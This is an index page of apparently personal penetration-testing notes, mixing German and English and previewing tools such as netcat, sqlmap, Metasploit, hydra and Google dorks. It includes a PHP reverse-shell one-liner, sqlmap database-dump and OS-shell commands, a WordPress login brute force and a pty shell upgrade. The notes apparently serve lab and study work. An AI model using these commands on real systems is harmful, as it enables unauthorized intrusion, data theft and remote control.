akde/infosec

Information security is ultimately about managing risk

  • netstat

    Rout­ing-Tabelle ansehen netstat -r Schnelle Aus­gabe ohne DNS-Auflö­sung, nur IPs: netstat -n Nur TCP-Verbindun­gen anzeigen netstat -t Nur UDP-Verbindun­gen anzeigen netstat -u Pro­gramm anzeigen, dass offene Verbindung benutzt netstat -p Net­zw­erk­sta­tis­tik anzeigen netstat -s

  • ncat

    Namenskonfusion Datei ausliefern: echo -e "HTTP/1.1 200 OK\nContent-Length: 5\n\nHallo" | nc -l localhost 8000 Datei anfragen über SSL: echo -e "GET / HTTP/1.1\nHost: localhost\n\n" | ncat -C --ssl localhost 443 Gebe Ausgabe von Programm zurück: ncat -l localhost 3000 --exec /bin/date Datei direkt übertragen (unverschlüsselt!): 1. Empfänger: user@host02:~$ ncat -l > aha oder nc -nlvp 4444…

  • Linux Smart Enumeration

    https://github.com/diego-treitos/linux-smart-enumeration This script will show rel­e­vant infor­ma­tion about the secu­ri­ty of the local Lin­ux system. Quick install Details from the manual It has 3 lev­els of ver­bosi­ty so you can con­trol how much infor­ma­tion you see. In the default lev­el you should see the high­ly impor­tant secu­ri­ty flaws in the sys­tem. The lev­el 1 (./lse.sh -l1)…

  • Reverse Shell ALT

    IF THE METERPRETER SHELL STUCKS, TRY TO ENTER ENTER MULTIPLE TIMES ON THE VICTIM. Aufbauen  Lausche auf einem Sys­tem, dass erre­icht wer­den kann z.B. mit nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution] Ini­ti­iere dann die Verbindung vom Ziel­sys­tem. Hier ein Beispiel direkt in PHP: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?> Anderes Beispiel, z.B. direkt in ein­er Kon­sole…

  • sqlmap

    Stan­dard case: $ python sqlmap.py -u http://10.10.10.140/index.php/catalogsearch/result/?q=e More aggre­sive: Dump DB: sqlmap -u http://target/command.php?id=564 --dbms=mysql --dump --threads=5 sqlmap -u http://target/command.php?id=564 --dbms=mysql --tables Get shell: sqlmap -u http://target/command.php?id=564 --dbms=mysql --os-shell Use an exist­ing HTTP request as tem­plate. E.g. store a request in a text file: POST /index.php HTT/1.1Header: value... Then, use sqlmap with this file request.txt: sqlmap -r…

  • knockd

    With knockd a serv­er can be con­fig­ured to respond only after some ports were checked before. Its often used for SSH. Couter­mea­sure: Sniff traf­fic and wait for an user to login and recon­struct the knock­ing pat­tern out of the pcaps.

  • metasploit

    The usu­al stuff: workspace -a host42 // To create a new workspaceworkspace host42 // To open an existing workspacedb_nmap ...hostsservices...search smb type:auxiliary...vulns // Shows all found vulnerabilitiescreds // Shows all found credentials General usage Payloads Working with sessions Using the database A data­base can be used to store infor­ma­tions, pay­loads, etc. To cre­ate a ini­tial db,…

  • FTP File Transfer Protocol

    Note that FTP does­n’t show hid­den files! Try in Win­dows e.g “cd ProgramData”. Enumeration With nmap. Scans a net­work for ftp servers which allow anony­mous access. nmap -v -p21 --script=ftp-anon.nse 10.11.1.1-254 FTP relays The FTP spec­i­fi­ca­tion defines FTP relays. One FTP serv­er can say to anoth­er FTP serv­er to send files to anoth­er third-par­ty serv­er.…

  • Network and port scans

    General notes NC / Netcat Try net­cat first on inter­est­ing ports or nar­row port ranges to be more silent Network scan Choose a port which is prob­a­bly open on sys­tems on this net­work. E.g. 445 for Win­dows hosts or 22 for Lin­ux hosts. for i in $(seq 1 254); do nc -zv -w 1 10.10.10.$i 445;…

  • IPv6 enumeration

    Linux Detect IPv6 hosts There is no arp table like in Ethernet/IPv4. But we can sim­u­late is as fol­lows to list all neight­bours / direct­ly reach­able hosts: ping6 -c 5 ff02::1%eth0 >/dev/null ip -6 neigh Bonus: ip neigh shows the IPv4 address res­o­lu­tion table like the arp com­mand does. Detect IPv6 addresses for known IPv4 addresses Sce­nario:…

  • redline

    Like OSX­col­lec­tor, but for Win­dows. Col­lects infor­ma­tion on a host for lat­er analyzation. https://www.fireeye.com/services/freeware/redline.html

  • osxcollector

    osx­col­lec­tor http://yelp.github.io/osxcollector/ Stand alone python script. Exe­cute it on a Mac which should be analysed. It cre­ates an archive with “every­thing” inter­esst­ing which the vic­tim can hand over an expert. See red­line for Windows

  • Sniffing and Traffic/Packet analysis / IDS Intrusion Detection

    See also the Wire­shark post PSnuffle Metas­ploit mod­ule; analyse the live traf­fic for cre­den­tials of var­i­ous protocols. msf > use auxiliary/sniffer/psnuffle PCredz PCredz uses a PCAP file and extracts hash­es and oth­er credentials. pcredz -f dump.pcap Zeek GitHub — zeek/zeek: Zeek is a pow­er­ful net­work analy­sis frame­work that is much dif­fer­ent from the typ­i­cal IDS you…

  • Ettercap

    Sniff­ing and live con­tent fil­ter­ing. Oper­a­tion modes: Uni­fied:  sniffs all pack­ets from one inter­face. Pack­ets for an attack host are end­ing here, but are direct­ly for­ward­ed after receiving Brid­get: For­wards traf­fic from one inter­face to anoth­er. Absolute­ly secret because there is real­ly no one “between the cable” Usage ettercap OPTIONS TARGET1 TARGET2 Tar­gets are defined as MAC/IPv4s/IPv6s/PORT…

  • p0f

    Pas­sive OS fingerprinting http://tools.kali.org/information-gathering/p0f

  • dnmap

    Dis­trib­uted port scan­ning. Install dnmap_client on many machines and install one dnsmap_server. The serv­er con­trols the clients to split port scans. http://tools.kali.org/information-gathering/dnmap

  • dmitry

    Active Infor­ma­tion Gath­er­ing tool. See http://tools.kali.org/information-gathering/dmitry

  • sslyze

    Analy­ses SSL https://github.com/nabla-c0d3/sslyze python ‑m sslyze –reg­u­lar URL

  • Information gathering

    => https://www.exploit-db.com/google-hacking-database => https://ahrefs.com/blog/google-advanced-search-operators/ => https://searchdns.netcraft.com/ Github Search for file names with­in repos of users: user:megacorpone filename:users Tools Google Look­ing for direc­to­ry listings: site:URL intitle:index.of Look­ing for con­fig­u­ra­tion files: site:URL ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini Look­ing for date­base files: site:URL ext:sql | ext:dbf |…

  • WordPress

    Enumeration Github wpscan --url $target Maybe an API token could be use­ful — then, the Word­Press Vul­ner­a­bil­i­ty Data­base is used. Login brute force hydra -l thinc -P best110.txt 10.11.1.234 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' Check users: http://spectra.htb/main/?author=1 http://spectra.htb/main/?author=2 … Most beautiful wordpress plugin XSS injection If there is a way to inject code some­where (e.g. via a plu­g­in)…

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';